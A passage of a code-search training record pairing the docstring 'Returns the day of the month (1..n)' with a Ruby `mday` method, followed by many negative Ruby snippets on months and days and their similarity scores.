"def to_s\n inspect\n end",
"def inspect\n\t\t\told_to_s\n\t\tend",
"def inspect\n self.to_s\n end",
"def inspect\n self.to_s\n end",
"def inspect\n return self.to_s\n end",
"def inspect\n \"<#{self.class}:0x#{object_id.to_s(16)}>\"\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def to_s\n inspect\n end",
"def to_s\n inspect\n end",
"def inspect\n attributes = [\n \"name=#{name.inspect}\",\n \"state=#{state.inspect}\",\n \"description=#{description.inspect}\",\n \"adapter=#{adapter.name.inspect}\",\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"def description\n @state.description\n end",
"def to_s\n inspect.to_s\n end",
"def inspect\n \"#<#{self.class.name}:0x#{self.object_id.to_s(16)}>\"\n end",
"def to_s\n return self.get_info()\n end",
"def to_s\n \"state: #{@symbol} (options=#{options})\"\n end",
"def inspect\n \"\"\n end",
"def inspect\n to_s\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id}> @names=#{names}>\"\n end",
"def to_s\n self.inspect\n end",
"def inspect\n serialize.to_s\n end",
"def to_s\n\t\tputs(\"States: #{@states}\")\n\t\tputs(\"Input Symbols: #{@input_symbols}\")\n\t\tputs(\"Output_symbols: #{@output_symbols}\")\n\t\tputs(\"Left Marker: #{@left_marker}\")\n\t\tputs(\"Blank Symbol: #{@blank_symbol}\")\n\t\tputs(\"Start State: #{@start_state}\")\n\t\tputs(\"Accept State: #{@accept_state}\")\n\t\tputs(\"Reject State: #{@reject_state}\")\n\t\tputs(\"Function Map: #{@function_map}\")\n\t\treturn \"\"\n\tend",
"def inspect\n \"#{ self.class }:0x#{ '%x' % (object_id << 1) }: #{ name }\"\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"def inspect\n\t\treturn \"#<%s:0x%x (%s): %s>\" % [\n\t\t\tself.class.name,\n\t\t\tself.object_id * 2,\n\t\t\tself.loaded? ?\n\t\t\t self.extensions.map( &:name ).join( ', ' ) :\n\t\t\t 'not yet loaded',\n\t\t\tself.dn\n\t\t]\n\tend",
"def to_s\n self.inspect\n end",
"def inspect\n to_s.inspect\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect\n return \"#<#{self.class}:0x#{(self.object_id << 1).to_s(16)}>\"\n end",
"def current_state_string\n string = \"\"\n\n (@size * @size).times{ |i|\n if i % @size == 0\n string << \"\\n\\t\"\n end\n if @state[i]\n string << \"1 \"\n else\n string << \"0 \"\n end\n }\n string << \"\\n\"\n\n return string\n end",
"def inspect\n inspection = self.info.keys.map { |name|\n \"#{name}: #{attribute_for_inspect(name)}\"\n }.compact.join(\", \")\n \"#<#{self.class}:0x#{self.object_id.to_s(16)} #{inspection}>\"\n end",
"def inspect\n to_hash.to_s\n end",
"def inspect\n to_hash.to_s\n end",
"def dump_state\n $log.debug \"State: [#{state.to_pretty_s}]\"\n end",
"def to_s\n \"#<#{self.class}:#{self.object_id}; #{running? ? 'running' : 'not running'}, #{working? ? 'working' : 'idle'}, #{alive? ? 'alive' : 'dead'}>\"\n end",
"def inspect\n attributes = [\n \"name=#{name.inspect}\",\n \"use_local_cache=#{@use_local_cache.inspect}\"\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"def to_s\n object.to_s\n end",
"def inspect\n\t\treturn %{#<%s:0x%0x %s>} % [\n\t\t\tself.class.name,\n\t\t\tself.object_id / 2,\n\t\t\tself.ivar_descriptions.join( ', ' ),\n\t\t]\n\tend",
"def to_s\n toString()\n end",
"def inspect\n \"#<#{self.class.name}:0x#{object_id}\\n @base_url=\\\"#{@base_url}\\\"\\n @most_recent_page=#{@most_recent_page}>\"\n end",
"def to_s\n const.to_s\n end",
"def inspect\n return \"#<#{self.class.name}: #{self.name}>\"\n end",
"def inspect\n\t\treturn \"#<%p:%#016x %s>\" % [\n\t\t\tself.class,\n\t\t\tself.object_id * 2,\n\t\t\tself.inspect_details,\n\t\t]\n\tend",
"def inspect\n sprintf(\"#<%s:%#0x(%s)>\", self.class.name, object_id, to_s)\n end",
"def inspect\n return 'nil' if @obj.nil?\n\n \"#<#{self.class.name}:#{@obj.getName}>\"\n end",
"def inspect\n @_inspect ||= begin\n \"#<\" <<\n self.class.inspect <<\n (\":0x%014x\" % object_id) <<\n \">\"\n end\n end",
"def to_s\n \"#{@code}: #{@name}\"\n end",
"def to_s\n \"#{@code}: #{@name}\"\n end",
"def to_s\n r = []\n r << \"complete: #{complete}\" if complete\n r << \"prefix: #{prefix}\" if prefix\n r << \"suffix: #{suffix}\" if suffix\n internals.each {|x| r << \"internal: #{x}\"}\n r.join(' ')\n end",
"def inspect\n\t\t\treturn \"#<%p:%#0x %s>\" % [\n\t\t\t\tself.class,\n\t\t\t\tself.object_id * 2,\n\t\t\t\tself.inspect_details,\n\t\t\t]\n\t\tend",
"def to_s\n return \"#{name} (#{hash})\"\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n +\"#<#{self.class}:#{object_id.to_s(16)}>\"\n end",
"def to_s\n #\"\\#<#{self.class}-#{@name} - #{@top_dir}>\"\n \"\\#<#{self.class}-#{@name}>\"\n end",
"def inspect\n # Concise to not dump too much information on the dev\n \"#<#{self.class.name}>\"\n end",
"def to_s\r\n s = StringIO.new\r\n newstate = map\r\n @initstate.each_with_index do |sum, i|\r\n if sum != newstate[i]\r\n s.write \"*\"\r\n @initstate[i] = newstate[i]\r\n else\r\n s.write \".\"\r\n end\r\n end\r\n s.rewind;s.read()\r\n end",
"def to_s\n target.inspect\n end",
"def to_s\n @object.to_s\n end",
"def inspect\n return 'nil' if @obj.nil?\n\n \"#<#{self.class.name}:#{fullName}>\"\n end",
"def show_state\n return \"#{@name} a #{@life_points} points de vie\"\n end",
"def info\n return 'STATE=d' if @state == 'd'\n\n str_info = \"\"\n\n str_info << \"STATE=\" << @state << \" \"\n str_info << \"USEDCPU=\" << @used_cpu.to_s << \" \"\n str_info << \"USEDMEMORY=\"<< @used_memory.to_s << \" \"\n str_info << \"NETRX=\" << @net_rx.to_s << \" \"\n str_info << \"NETTX=\" << @net_tx.to_s\n end",
"def to_pretty_s\n @state.reduce([]) do |arr, entry|\n arr << entry[1].to_pretty_s\n end.join(',')\n end",
"def inspect\n redacted_string(:inspect)\n end",
"def inspect\n redacted_string(:inspect)\n end",
"def inspect\n to_s \n end",
"def inspect\n \"#<#{self.class.name}: #{to_s}>\"\n end",
"def inspect\n\t\treturn \"#<%s:0x%0x %s(%s) %p -> %p >\" % [\n\t\t\tself.class.name,\n\t\t\tself.object_id / 2,\n\t\t\tself.name,\n\t\t\tself.oid,\n\t\t\tself.desc,\n\t\t\tself.attr_oids,\n\t\t]\n\tend",
"def inspect\n \"#<#{self.class.name}: #{to_s}>\"\n end",
"def inspect\n %{<#{self.class.name} #{self.class.props.reduce([]) do |s, d| \n s << [d.first, send(d.first).inspect].join(\"=\")\n end.join(\" \")}>}\n end",
"def debug_str(inspect_method = :inspect)\n \"Current Date: #{self.input_date.readable}\\nCurrent Time: #{self.input_time.readable}\\n\\nQuery: #{self.query}\\nStandardized Query: #{self.nlp_query}\\nQuery changed in: #{self.nlp_query.changed_in.inspect}\\n\\nConstructs Found: #{s = \"\\n\"; self.construct_finder.constructs.each{|x| s << x.send(inspect_method) + \"\\n\"}; s}\\n\\n@construct_interpreter: #{self.construct_interpreter.send(inspect_method)}\"\n end",
"def inspect\n \"#<#{self.class}:#{::Kernel.format('0x0000%<id>x', id: (__id__ << 1))}#{__inspect}>\"\n end",
"def to_s\n toString\n end"
] |
[
"0.72272044",
"0.7102299",
"0.6986669",
"0.69722795",
"0.69205236",
"0.69205236",
"0.69205236",
"0.69205236",
"0.69205236",
"0.6782744",
"0.6781884",
"0.6717852",
"0.6717852",
"0.6693693",
"0.6672083",
"0.66672283",
"0.66560626",
"0.66560626",
"0.66560626",
"0.66560626",
"0.66560626",
"0.66560626",
"0.66560626",
"0.6647087",
"0.6625766",
"0.6622166",
"0.6617658",
"0.66099375",
"0.66099375",
"0.6606606",
"0.65949833",
"0.6593118",
"0.6593118",
"0.6589055",
"0.6589055",
"0.6584716",
"0.65831673",
"0.65830654",
"0.65818775",
"0.6575646",
"0.65604293",
"0.65417606",
"0.6532049",
"0.65315807",
"0.65312064",
"0.653109",
"0.6530485",
"0.65212286",
"0.6514762",
"0.6513105",
"0.6500144",
"0.6494756",
"0.64864725",
"0.648631",
"0.648631",
"0.6466499",
"0.6464954",
"0.64530134",
"0.6451899",
"0.6451899",
"0.64475626",
"0.6431928",
"0.6427883",
"0.64208895",
"0.64182276",
"0.6417116",
"0.64005715",
"0.64003545",
"0.6398457",
"0.6397821",
"0.6396968",
"0.6396869",
"0.63919926",
"0.6382432",
"0.6382432",
"0.63758355",
"0.637326",
"0.6368959",
"0.63576245",
"0.63576245",
"0.63576245",
"0.6356784",
"0.63540834",
"0.63525873",
"0.63427866",
"0.6336739",
"0.6329854",
"0.6326929",
"0.6317827",
"0.63112307",
"0.6303912",
"0.630224",
"0.630224",
"0.63008976",
"0.63001746",
"0.6280649",
"0.6278817",
"0.6259791",
"0.6259774",
"0.6257544",
"0.6250802"
] |
0.0
|
-1
|
Returns the month of the year (1..12).
|
def mon
if @time
@time.mon
elsif @datetime
@datetime.mon
else
to_time.mon
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def months_in_year\n 12\nend",
"def month() end",
"def month\n return @month\n end",
"def month\n months = %w{January February March April May June July August September October November December}\n months[Time.now.month - 1]\n end",
"def month\n @month ||= Date::ABBR_MONTHNAMES.index(@md[4])\n end",
"def month\n Thread.current[:datet_mode] = :months\n return @t_month\n end",
"def year_month_int_to_year_and_month(year_month)\n [year_month / 12, (year_month % 12) + 1]\n end",
"def month\n @month ||= Date::ABBR_MONTHNAMES.index(@md[1])\n end",
"def month_number\n date.month\n end",
"def months\n @years * 12\n end",
"def month; end",
"def month; end",
"def years_to_month(years)\n years * 12.0\nend",
"def month\n start_date&.strftime('%b %Y')\n end",
"def month\n return @month\n end",
"def month\n @month ||= date_calc.merch_to_julian(merch_month)\n end",
"def start_of_month\n Date.new(self.strftime('%Y').to_i, self.strftime('%m').to_i, 1)\n end",
"def month\n sunday = @monday + 6\n return 1 if sunday.month == 1 && sunday.year == @year\n return 12 if @monday.month == 12 && @monday.year == @year\n (@monday + 2).month\n end",
"def month\n end",
"def month_of_year(*months)\n merge(month: months)\n end",
"def month\n running_days = 0\n DAYS_IN_MONTH.each_with_index do |days, idx|\n running_days += days\n return idx + 1 if self.day_of_year <= running_days\n end\n end",
"def month\n @date_time_value.month\n end",
"def month\n @date_time_value.month\n end",
"def month\n start_on.strftime(MONTH_NAME)\n end",
"def month\n self.class.get_month(@bits)\n end",
"def month\n @month.to_s.rjust(2, '0')\n end",
"def month\n self.range('month')\n end",
"def month\n @month || self.starts_at.month\n end",
"def time_month; Time.now.month; end",
"def month\n return self.to_a[IDX_MONTH]\n end",
"def month\n @year = params[:year].to_i\n @month = params[:month].to_i\n @first_day = @event.first_day_of_month(@year, @month)\n @last_day_of_month = Date.new(@year, @month, 1).end_of_month\n end",
"def month\n set_function_and_argument(:month, nil)\n end",
"def day_of_month\n return self.day_of_year if self.month == 1\n ((self.day_of_year - 1) - DAYS_IN_MONTH.slice(0, (month - 1)).inject(:+)) + 1\n end",
"def months\n self.to_i * 2_592_000\n end",
"def get_month(month)\n month = month.to_s\n month.length == 2 ? month : \"0#{month}\"\n end",
"def January ; Date::MONTHNAMES.index(\"January\"); end",
"def month(date)\n [MONTHS[date.month - 1], year(date)].join(', ')\n end",
"def months() 30 * days end",
"def merch_month\n # TODO: This is very inefficient, but less complex than strategic guessing\n # maybe switch to a binary search or something\n @merch_month ||= (1..12).detect do |num|\n date_calc.end_of_month(start_of_year.year, num) >= date && date >= date_calc.start_of_month(start_of_year.year, num)\n end\n end",
"def month_str\n ret = Datet.months(:trans => true)[@t_month]\n if args and args[:short]\n ret = ret.slice(0, 3)\n end\n \n return ret\n end",
"def beginning_of_year\n change(month: 1).beginning_of_month\n end",
"def get_month(year, month)\n entries = month_entries(@pages, year, month) \n\n budget_month = BudgetMonth.new(entries, year, month)\n\n budget_month\n end",
"def first_of_month\n Date.new(self.year, self.month)\n end",
"def next_month(month, year)\n if month == 12\n [1, year + 1]\n else\n [month + 1, year]\n end\nend",
"def date\n Date.civil(year, month, 1)\n end",
"def normalize_month(month)\n month % 12 + 1\n end",
"def get_next_month(number)\n month = number.to_i < @start.day ? (@start.month == 12 ? 1 : @start.month + 1) : @start.month\n end",
"def year_and_month_to_int(year, month)\n (year * 12) + (month - 1)\n end",
"def month=(_arg0); end",
"def roman_month(date)\n date[1]\n end",
"def year\n @year = params[:year].to_i\n @first_month = 1\n @last_month = (Date.today.year == @year) ? Date.today.month : 12\n end",
"def get_number_of_month(m)\n (1..is_leap?[adjust_set_month(m)]).to_a\n end",
"def end_of_year\n change(month: 12).end_of_month\n end",
"def day_of_month\n start_on.day.to_s\n end",
"def month_range(month, year)\n next_month = month == 12 ? 1 : month + 1\n next_year = month == 12 ? year + 1 : year\n Date.new(year, month, 1)..Date.new(next_year, next_month, 1)\n end",
"def month\r\n return @hm\r\n end",
"def year_month_int_to_str(year_month)\n \"#{year_month / 12} #{MONTHS[year_month % 12]}\"\n end",
"def current_month\n \tDate.today.strftime(\"%B\")\n end",
"def number_to_full_month_name(num)\n return Date::MONTHNAMES[num]\nend",
"def month\n MONTHS[@created_at.month-1]\n end",
"def to_i\n year * 100 + month\n end",
"def start_of_month\n @start_of_month ||= date_calc.start_of_month(year, merch_month)\n end",
"def daysinmonth(year, month)\n return (Date.new(year, 12, 31) << (12-month)).day\n end",
"def daysinmonth(year, month)\n return (Date.new(year, 12, 31) << (12-month)).day\n end",
"def get_number_of_month\n (1..is_leap?[adjust_set_month]).to_a\n end",
"def days_in_month(year, month)\n (Date.new(year, 12, 31) << (12-month)).day\n end",
"def get_months(years, months)\n if years > 0\n (years * 12) + months\n elsif years > 0 && months == 0\n years * 12\n else\n months\n end\nend",
"def beginning_of_month\n self.class.new year, month, 1\n end",
"def get_english_month(idx)\n Date::MONTHNAMES[idx]\n end",
"def increment_month!\n if month != 12\n # just bump up a number\n self.date = ZDate.format_date(year_str, month + 1)\n else\n self.date = ZDate.format_date(year + 1)\n end\n end",
"def first_of_month\n @first_of_month ||= Date.new(@year, @month)\n end",
"def month_from_name(month)\n month = MONTH_NAMES.index(month)\n month ? month / 2 + 1 : nil\n end",
"def month\n created.strftime '%m'\n end",
"def mn(month)\n n = Date::ABBR_MONTHNAMES.index(month) || Date::MONTHNAMES.index(month)\n return month unless n\n\n n.to_s.rjust 2, \"0\"\n end",
"def months ; self * 30.days ; end",
"def days_in_month(year, month)\n return (Date.new(year, 12, 31) << (12 - month)).day\n end",
"def set_year(m)\n if set_month(m) > 2 and set_month(m) < 13\n @year.to_i\n else\n @year.to_i - 1\n end\n end",
"def month_name(number); end",
"def end_of_month\n self.class.new year, month + 1, 0\n end",
"def month=(value)\n @month = value\n end",
"def days_in_month(year, month)\n Date.new(year, month, -1).day\n end",
"def max_year\n year - (month < 12 ? 1 : 0)\n end",
"def current_month\n Time.now.strftime(\"%^b\")\n end",
"def get_year_month_list()\n arr=[]\n start=\"2008_01\"\n str=\"\"\n var_date = Time.now\n while( start != str)\n str = var_date.year.to_s + \"_\" + \"%02d\" % var_date.month.to_s\n arr << str\n var_date = var_date - 1.month\n end\n return arr\n end",
"def rsmonth(month)\n case month\n when 1\n return 'januar'\n when 2\n return 'februar'\n when 3\n return 'mart'\n when 4\n return 'april'\n when 5\n return 'maj'\n when 6\n return 'jun'\n when 7\n return 'jul'\n when 8\n return 'avgust'\n when 9\n return 'septembar'\n when 10\n return 'oktobar'\n when 11\n return 'novembar'\n when 12\n return 'decembar'\n end\nend",
"def months\n Thread.current[:datet_mode] = :months\n return self\n end",
"def months; self * MONTH; end",
"def monthly\n end",
"def period\n case self.recurring_month\n when 12\n 1.year # 1.year != 12.months\n else\n self.recurring_month.months\n end\n end",
"def month_of_year(months, *extras)\n merge(month: months.array_concat(extras))\n end",
"def set_year\n if set_month > 2 and set_month < 13\n @year.to_i\n else\n @year.to_i - 1\n end\n end",
"def start_of_month(year, month_param)\n merch_month = get_merch_month_param(month_param)\n date_calc.start_of_month(year, merch_month)\n end",
"def to_month(**options) = convert_to('month', **options)",
"def year_month(date, fmt=\"yyyy mmm\")\n return nil unless date\n yyyy = date.year.to_s\n mmm = %w(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec)[date.month-1]\n case fmt\n when \"mmm-yy\" then \"%s-%s\" % [mmm, yyyy[2, 2]]\n when \"mmm yyyy\" then \"%s %s\" % [mmm, yyyy]\n else \"%s %s\" % [yyyy, mmm]\n end\n end",
"def month\n self.founded.strftime(\"%B\")\n end",
"def to_months; @val end",
"def change_to_beginning_of_month\n @month.to_date.beginning_of_month\n end",
"def format_month_year(date)\n date.strftime(\"%Y-%b\")\n end",
"def month_name(the_date)\n Date::MONTHNAMES[the_date.month]\n end",
"def each_april( n=1); each_monthnum(self.Apr,n); end",
"def this_month\n day(Time.now)\n end"
] |
[
"0.76854324",
"0.76336354",
"0.7609652",
"0.7564997",
"0.75300974",
"0.7509046",
"0.7501045",
"0.74948704",
"0.7477927",
"0.74683136",
"0.7397781",
"0.7397781",
"0.7395114",
"0.7387072",
"0.72975653",
"0.7282819",
"0.7264514",
"0.7239525",
"0.7203249",
"0.71281606",
"0.7124418",
"0.7087393",
"0.7087393",
"0.7085876",
"0.70830595",
"0.70806843",
"0.7063755",
"0.7012085",
"0.7006532",
"0.69996274",
"0.69918734",
"0.69744945",
"0.6945435",
"0.6929213",
"0.6928419",
"0.68905634",
"0.6889807",
"0.687977",
"0.68794113",
"0.6873251",
"0.6832814",
"0.68205076",
"0.6819008",
"0.68121946",
"0.6798219",
"0.6796853",
"0.6787239",
"0.67844313",
"0.67545104",
"0.6753118",
"0.675238",
"0.673198",
"0.6731671",
"0.6728946",
"0.67233276",
"0.67199814",
"0.671717",
"0.6705963",
"0.6692478",
"0.66812015",
"0.66723424",
"0.6646055",
"0.66455156",
"0.66455156",
"0.6639748",
"0.66395926",
"0.66266865",
"0.6626485",
"0.66191715",
"0.660688",
"0.6601621",
"0.65939605",
"0.6583635",
"0.65766484",
"0.6561554",
"0.65614635",
"0.6561186",
"0.6558608",
"0.65474635",
"0.65463823",
"0.65437365",
"0.6542653",
"0.6539065",
"0.65224963",
"0.6498282",
"0.6483298",
"0.6469158",
"0.64649767",
"0.64647925",
"0.64620775",
"0.64549464",
"0.64224917",
"0.6418387",
"0.6415682",
"0.6408705",
"0.6400979",
"0.6394723",
"0.6394682",
"0.6387935",
"0.63738686",
"0.6364376"
] |
0.0
|
-1
|
Returns the day of the month (1..n).
|
def mday
if @time
@time.mday
elsif @datetime
@datetime.mday
else
to_time.mday
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def nwday_of_month(n)\n self + (nwday_day(n) - day).days\n end",
"def day_of_month\n return self.day_of_year if self.month == 1\n ((self.day_of_year - 1) - DAYS_IN_MONTH.slice(0, (month - 1)).inject(:+)) + 1\n end",
"def day_in_month(year, month, day)\n return Date.new(year, month, day).wday\n end",
"def nth_wday_of_month(w, d)\n self + (nth_wday_day(w, d) - day).days\n end",
"def nth_weekday_of_month(n, desired_weekday, month, year)\n nth_weekday_at_or_after_date(n, desired_weekday, first_day_of_month(year, month))\nend",
"def day_of_month\n ordinal = case @time.day\n when 1 then \"st\"\n when 2 then \"nd\"\n when 3 then \"rd\"\n else \"th\"\n end\n \"#{@time.day}#{ordinal}\"\n end",
"def daysinmonth(year, month)\n return (Date.new(year, 12, 31) << (12-month)).day\n end",
"def daysinmonth(year, month)\n return (Date.new(year, 12, 31) << (12-month)).day\n end",
"def days_in_month(year, month)\n Date.new(year, month, -1).day\n end",
"def days_in_month(year, month)\n (Date.new(year, 12, 31) << (12-month)).day\n end",
"def find_day_of_month(day=@day, first_day_of_month=@first_day_of_month)\r\n day = ((day - 1) + first_day_of_month) % 7\r\n return 7 if day == 0\r\n day\r\n end",
"def day_of_month\n start_on.day.to_s\n end",
"def days_in_month(year, month)\n return (Date.new(year, 12, 31) << (12 - month)).day\n end",
"def nth_negative_instance_of_day_in_month(date)\n # How many days are there in this month? We'll grab the first of next month, then roll\n # back a day to see.\n next_month = Time.utc(date.year, (date.month % 12) + 1)\n next_month = Time.utc(next_month.year + 1, next_month.month) if next_month < date\n month_days = (next_month - 86400).day\n return -1 - ((month_days - date.day) / 7)\n end",
"def get_days_month(date=nil)\n date ||= @date\n\n return @schedule.days if @schedule.days > 0\n\n if @schedule.days_month != 'specific'\n if @schedule.days_month == 'last' && @schedule.days_month_day == nil\n return 0b0 | (1 << date.at_end_of_month.day)\n end\n end\n\n return 0b0 | (1 << @schedule.start_date.day)\n end",
"def days_in_month\n raw = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][self.month]\n self.month == 2 && leap_year? ? raw + 1 : raw\n end",
"def month\n sunday = @monday + 6\n return 1 if sunday.month == 1 && sunday.year == @year\n return 12 if @monday.month == 12 && @monday.year == @year\n (@monday + 2).month\n end",
"def days_in_month\n Time.send(\"month_days\", self.year, self.month)\n end",
"def day_of_month(*days)\n merge(mday: days)\n end",
"def nth_day_of_month? d, n\n case n <=> 0\n when -1\n nth_last_day_of_month(d) == n\n when 0\n raise ArgumentError.new(\"must be non-zero integer\")\n when 1\n nth_day_of_month(d) == n\n end\n end",
"def days_in_month(month=nil)\n month ||= Date.today.month\n days_in_mon = Date.civil(Date.today.year, month, -1).day\n end",
"def day(date)\n [date.day.ordinalize.to_s, month(date)].join(' ')\n end",
"def each_february( n=1); each_monthnum(self.Feb,n); end",
"def each_december( n=1); each_monthnum(self.Dec,n); end",
"def month\n running_days = 0\n DAYS_IN_MONTH.each_with_index do |days, idx|\n running_days += days\n return idx + 1 if self.day_of_year <= running_days\n end\n end",
"def month() end",
"def month_number\n date.month\n end",
"def this_month\n day(Time.now)\n end",
"def each_monthnum(nmonth,n=1)\n build_subrange do |s|\n s.step = n\n s.adjust_range { |r| day_range(r) }\n s.offset { |dt| dt >> (nmonth - dt.month)%12 }\n s.increment { |dt,i| dt.to_date >> i*12 } \n s.span { |dt| dt.to_date >> 1 }\n end\n end",
"def each_may( n=1); each_monthnum(self.May,n); end",
"def each_march( n=1); each_monthnum(self.Mar,n); end",
"def mday() end",
"def yday\n m = (@month-2 < 0) ? 0 : @month-2\n (@month==1) ? @day : @day + JDaysInMonth[0..m].inject(0) {|sum, n| sum + n }\n end",
"def mday\n return self.to_a[IDX_DAY]\n end",
"def make_days\n month = (1..@day_num).collect do |day|\n Day.new(Date.parse(\"#{@year}-#{@month}-#{day}\"))\n end\n\n month[0].date.wday.times { month.insert(0, Day.new(Date.new))}\n month\n end",
"def <<(n)\n date_with_offset(-n, :month)\n end",
"def fmwday\n beginning_of_month.wday\n end",
"def each_october( n=1); each_monthnum(self.Oct,n); end",
"def days_in_month\n @date_time_value.days_in_month\n end",
"def each_july( n=1); each_monthnum(self.Jul,n); end",
"def each_june( n=1); each_monthnum(self.Jun,n); end",
"def each_april( n=1); each_monthnum(self.Apr,n); end",
"def days_in_month(month, year = Time.now.year)\n return 29 if month == 2 && Date.gregorian_leap?(year)\n DAYS_IN_MONTH[month]\n end",
"def days_in_month(month, year = Time.now.year)\n return 29 if month == 2 && Date.gregorian_leap?(year)\n DAYS_IN_MONTH[month]\n end",
"def >>(n)\n date_with_offset(n, :month)\n end",
"def monthDays(y, m)\n if ((@@lunar_info[y - 1900] & (0x10000 >> m)) == 0)\n return 29\n else\n return 30\n end\n end",
"def get_number_of_month(m)\n (1..is_leap?[adjust_set_month(m)]).to_a\n end",
"def monthly_dry_days(day)\n month_result_string(day).count('1')\n end",
"def ordinal_dayindex(num, day_index)\n # create a date object at the first occurrence of day_index\n first_occ_date = ZDate.new(ZDate.format_date(year_str, month_str)).this(day_index)\n # confirm that the day actually falls in the month\n this_month = ZDate.new(ZDate.format_date(year_str, month_str)).month\n if first_occ_date.month != this_month\n num += 1\n end\n\n # if num is 1 through 4, we can just add (num-1) weeks\n if num <= 4\n d = first_occ_date.add_weeks(num - 1)\n else\n # we want the last occurrence of this month\n # add 4 weeks to first occurrence, see if we are in the same month, subtract 1 week if we are not\n d = first_occ_date.add_weeks(4)\n if d.month != month\n d = d.sub_weeks(1)\n end\n end\n d\n end",
"def days_in_month(month, year = current.year)\n if month == 2 && ::Date.gregorian_leap?(year)\n 29\n else\n COMMON_YEAR_DAYS_IN_MONTH[month]\n end\n end",
"def each_january( n=1); each_monthnum(self.Jan,n); end",
"def month; end",
"def month; end",
"def days_in_month(month, year = Time.now.year)\n\t return 29 if month == 2 && Date.gregorian_leap?(year)\n\t return COMMON_YEAR_DAYS_IN_MONTH[month]\n\tend",
"def month_length(date)\n return Date.new(date.year, date.month, -1).day\n end",
"def each_november( n=1); each_monthnum(self.Nov,n); end",
"def week_of_month\n week_split.each_with_index do |o, i|\n return (i + 1) if o.include?(day)\n end\n end",
"def week_of_month\n week_split.each_with_index do |o, i|\n return (i + 1) if o.include?(day)\n end\n end",
"def randomize_day(month)\n\tyear = Time.now.year\n\tif month == 0\n\t\tmonth = 12\n\t\tyear = year - 1\n\tend\n\n\tt = Date.parse(\"1.#{month}.#{year}\")\n\tdays = (t..t.end_of_month).count\n\tdate = Date.new(year, month, rand(days)+1)\n\tif date.saturday? || date.sunday?\n\t\trandomize_day(month)\n\telse\n\t\treturn date\n\tend\nend",
"def days_in_month(month, year)\n (month == 2 && is_leap_year?(year)) ? 29 : DAYS_IN_A_MONTH[month]\n end",
"def day_number_of_the_year day, month, hash \n if month > 1\n for i in 1...month\n day += hash[i]\n end\n end\n day\nend",
"def get_next_month(number)\n month = number.to_i < @start.day ? (@start.month == 12 ? 1 : @start.month + 1) : @start.month\n end",
"def mday\n end",
"def day() end",
"def each_day_of_month(nday,dur=1)\n build_subrange do |s|\n s.step = 1\n s.adjust_range { |r| day_range(r) }\n s.offset do |dt| \n totdays = ((Date.civil(dt.year,dt.month,1) >> 1)-1).day\n dt.to_date + (nday - dt.day)%totdays\n end\n s.increment { |dt,i| dt.to_date >> i }\n s.span { |dt| dt.to_date + dur }\n end\n end",
"def day_of_month(days, *extras)\n merge(mday: days.array_concat(extras))\n end",
"def to_day\n Month::DAYS[self.wday]\n end",
"def monday\n day(:monday)\n end",
"def month\n months = %w{January February March April May June July August September October November December}\n months[Time.now.month - 1]\n end",
"def nth_wday(n, aWday, month, year)\n wday = aWday - 1\n if (!n.between? 1,5) or\n (!wday.between? 0,6) or\n (!month.between? 1,12)\n raise ArgumentError\n end\n t = Time.zone.local year, month, 1\n first = t.wday\n if first == wday\n fwd = 1\n elsif first < wday\n fwd = wday - first + 1\n elsif first > wday\n fwd = (wday+7) - first + 1\n end\n target = fwd + (n-1)*7\n begin\n t2 = Time.zone.local year, month, target\n rescue ArgumentError\n return nil\n end\n if t2.mday == target\n t2\n else\n nil\n end\n end",
"def nwday_day(n)\n w = n % 7\n 1 + (w - (wday - day + 1)) % 7 + n - w\n end",
"def ordinalDate\n ordinal = DAYS_THUS_FAR[@month].to_i + @day.to_i\n if leapYear? && @month > 2\n ordinal = ordinal + 1\n end\n return ordinal\n end",
"def month\n end",
"def each_monday( n=1, offset=0, dur=1); each_wdays(self.Mon,n,offset,dur); end",
"def months() 30 * days end",
"def inspect\n \"the day of the month is the \" +\n ordinal_list(@days)\n end",
"def date\n return MANUAL_DAY unless MANUAL_DAY.nil?\n time = Time.new\n raise ArgumentError, \"wrong day, dude.\" unless time.day == 5 #fridays\n \"%s/%s\" % [time.month, time.day]\nend",
"def month\n Thread.current[:datet_mode] = :months\n return @t_month\n end",
"def nth_wday; (day - 1) / 7 end",
"def day\n self.range('day')\n end",
"def days(n)\n n * 3600 * 24\nend",
"def month\n self.range('month')\n end",
"def count_of_days_in(month)\n 28 + (month + (month / 8)) % 2 + 2 % month + 2 * (1 / month)\nend",
"def nth_weekday_of(year = Time.now.year, month = Time.now.month,\n weekday = 0, week = 1)\n first_day = DateTime.new year, month, 1\n\n # Day offset needed for Nth day of the week\n first_day + weekday_offset(first_day.wday, weekday) + (week - 1) * 7\n end",
"def day_in_year\n day = self.day\n \n 1.upto(self.month - 1) do |month_no|\n day += Datet.days_in_month(self.year, month_no)\n end\n \n return day\n end",
"def last_day_of_month(year, month)\n last_day_of_the_month = (Date.parse(year.to_s + \"-\" + (month.to_i + 1).to_s + \"-01\") - 1).mday().to_s rescue \"31\"\n \n return last_day_of_the_month.to_i\n end",
"def mon() @m_date.mon end",
"def number_to_short_month_name(n)\n short_month_string = number_to_full_month_name(n)[0..2]\nend",
"def month\n @month ||= Date::ABBR_MONTHNAMES.index(@md[4])\n end",
"def get_number_of_month\n (1..is_leap?[adjust_set_month]).to_a\n end",
"def normalize_month(month)\n month % 12 + 1\n end",
"def mday\n @dweek ||= date.mday\n end",
"def getEndOfMonthDay\n Date.civil(@month1.strftime('%Y').to_i, @month1.strftime('%m').to_i, -1).day.to_i\n end",
"def inspect\n \"the day of the month is the \" + ordinal_list(@parts)\n end",
"def each_august( n=1); each_monthnum(self.Aug,n); end",
"def month\n @month ||= Date::ABBR_MONTHNAMES.index(@md[1])\n end",
